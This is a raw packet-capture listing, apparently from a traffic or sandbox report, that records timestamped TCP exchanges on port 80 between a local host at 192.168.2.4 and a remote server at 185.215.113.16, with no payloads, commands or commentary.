Oct 31, 2024 20:52:17.673970938 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.673985004 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.674004078 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.674010038 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.674021959 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.674027920 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.674052954 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.674082994 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.674124956 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.674130917 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.674144030 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.674148083 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.674154997 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.674175978 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.674196959 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.674204111 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.674206972 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.674210072 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.674216032 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.674245119 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.674268007 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.674272060 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.674274921 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.674279928 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.674312115 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.674345970 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.674352884 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.674364090 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.674370050 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.674395084 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.674412012 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.674519062 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.674525976 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.674536943 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.674542904 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.674549103 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.674561024 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.674573898 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.674576044 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.674582005 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.674596071 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.674603939 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.674609900 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.674621105 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.674623966 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.674652100 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.674662113 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.674666882 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.674676895 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.674719095 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.674757004 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.674767971 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.674773932 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.674778938 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.674784899 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.674803019 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.674835920 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.674899101 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.674912930 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.674922943 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.674933910 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.674940109 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.674947023 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.674952984 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.674957037 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.674958944 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.674978018 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.674993992 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.675014973 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.675017118 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.675019979 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.675026894 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.675033092 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.675064087 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.675086975 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.675512075 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.675540924 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.675545931 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.675559998 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.675594091 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.675630093 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.675636053 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.675646067 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.675652027 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.675683975 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.675702095 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.675703049 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.675708055 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.675748110 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.675874949 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.675882101 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.675888062 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.675894022 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.675899982 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.675911903 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.675919056 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.675919056 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.675949097 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.675961971 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.675967932 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.675973892 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.675975084 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.675980091 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.676002979 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.676032066 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.676074028 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.676080942 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.676086903 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.676100969 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.676126957 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.676153898 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.676209927 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.676217079 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.676223040 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.676228046 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.676234007 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.676239967 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.676250935 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.676254034 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.676259995 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.676264048 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.676287889 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.676306963 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.676449060 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.676455975 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.676466942 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.676472902 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.676477909 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.676484108 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.676503897 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.676536083 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.676614046 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.676620960 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.676626921 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.676631927 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.676644087 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.676650047 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.676656008 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.676660061 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.676661968 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.676673889 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.676687002 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.676703930 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.676728010 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.676903009 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.676909924 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.676923037 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.676928997 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.676934958 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.676947117 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.676951885 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.676954031 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.676965952 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.676971912 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.676978111 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.676980972 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.676984072 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.676990032 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.677002907 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.677002907 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.677006960 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.677031040 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.677054882 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.677237034 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.677243948 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.677248955 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.677254915 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.677261114 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.677267075 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.677278996 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.677284002 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.677289963 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.677290916 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.677297115 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.677303076 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.677313089 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.677320004 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.677320957 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.677324057 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.677341938 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.677365065 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.677551031 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.677567959 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.677572966 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.677582979 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.677588940 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.677589893 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.677594900 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.677601099 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.677613020 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.677618980 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.677623987 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.677628994 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.677630901 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.677637100 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.677643061 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.677648067 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.677648067 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.677649021 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.677659988 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.677687883 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.677711964 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.677732944 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.677824974 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.677830935 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.677836895 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.677841902 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.677853107 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.677882910 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.677913904 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.755789042 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.755812883 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.755836964 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.755844116 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.755856037 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.755861998 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.755862951 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.755877972 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.755892038 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.755897045 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.755902052 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.755907059 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.755907059 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.755913019 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.755929947 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.755953074 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.755954027 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.755961895 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.756000996 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.756108999 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.756113052 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.756124973 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.756150007 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.756154060 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.756155968 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.756172895 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.756201982 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.756601095 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.756644964 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.756649971 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.756656885 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.756685019 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.756686926 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.756701946 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.756707907 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.756731033 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.756757021 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.758004904 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.758011103 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.758023024 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.758066893 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.758074045 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.758080959 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.758100986 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.758132935 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.758140087 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.758763075 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.758824110 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.758857965 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.758862019 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.758913994 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.758951902 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.758958101 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.758985996 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.758992910 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.758997917 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.758999109 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.759007931 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.759017944 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.759028912 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.759038925 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.759043932 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.759069920 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.759097099 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.759110928 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.759116888 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.759128094 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.759160995 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.759546995 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.759552956 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.759562969 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.759610891 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.795800924 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.795854092 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.795859098 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.795902967 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.795908928 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.795913935 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.795916080 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.795968056 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.796025038 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.796077967 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.796083927 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.796092033 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.796125889 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.796133041 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.796133995 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.796139002 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.796144962 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.796161890 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.796180964 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.796240091 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.796246052 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.796257019 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.796262980 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.796284914 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.796303034 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.796320915 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.796327114 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.796338081 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.796366930 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.796371937 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.796375990 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.796381950 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.796389103 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.796410084 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.796426058 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.796489000 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.796494961 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.796506882 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.796510935 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.796516895 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.796540976 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.796559095 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.796572924 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.796578884 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.796588898 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.796618938 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.796621084 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.796624899 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.796636105 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.796664953 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.796726942 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.796740055 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.796742916 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.796745062 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.796751976 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.796757936 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.796772957 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.796869040 CET	80	49740	185.215.113.16	192.168.2.4
